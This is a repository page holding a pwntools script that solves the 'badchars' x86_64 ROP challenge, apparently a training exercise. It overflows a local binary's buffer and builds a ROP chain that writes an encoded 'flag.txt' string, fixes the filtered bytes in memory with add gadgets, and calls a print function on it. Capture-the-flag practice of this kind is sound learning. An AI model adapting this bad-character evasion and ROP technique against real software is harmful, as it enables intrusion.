3f54969f58
new file: x86_64/badchars/exploit_dirty.py new file: x86_64/badchars/usefullstuff deleted: x86_64/write4/.exploit.py.swp deleted: x86_64/write4/.useful_gadgets.swp modified: x86_64/write4/exploit.py
55 lines
1.1 KiB
Python
55 lines
1.1 KiB
Python
#!/usr/bin/env python3
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from pwn import *
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from time import sleep
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# gotta go FAST
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# i'll make it clean when I'm not pressured for time
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prog = process('./badchars')
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payload = b''
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for c in range(40):
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payload += b'a'
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payload += p64(0x000000000040069c) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
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payload += b'fl`f-twt'
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payload += p64(0x601be0)
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payload += p64(1)
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payload += p64(0x601be2)
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payload += p64(0x0000000000400634) # just pops
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payload += p64(0x000000000040062c) # add [r15], r14
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payload += p64(0x00000000004006a0) # pops
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payload += p64(1)
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payload += p64(0x601be3)
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payload += p64(0x000000000040062c) # add [r15], r14
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payload += p64(0x00000000004006a0) # pops
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payload += p64(1)
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payload += p64(0x601be4)
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payload += p64(0x000000000040062c) # add [r15], r14
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payload += p64(0x00000000004006a0) # pops
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payload += p64(1)
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payload += p64(0x601be6)
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payload += p64(0x000000000040062c) # add [r15], r14
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payload += p64(0x00000000004006a3) # pops rdi
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payload += p64(0x601be0)
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payload += p64(0x0000000000400510)
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payload += b"\n"
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prog.sendline(payload)
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sleep(0.5)
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print(prog.recv())
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prog.close()
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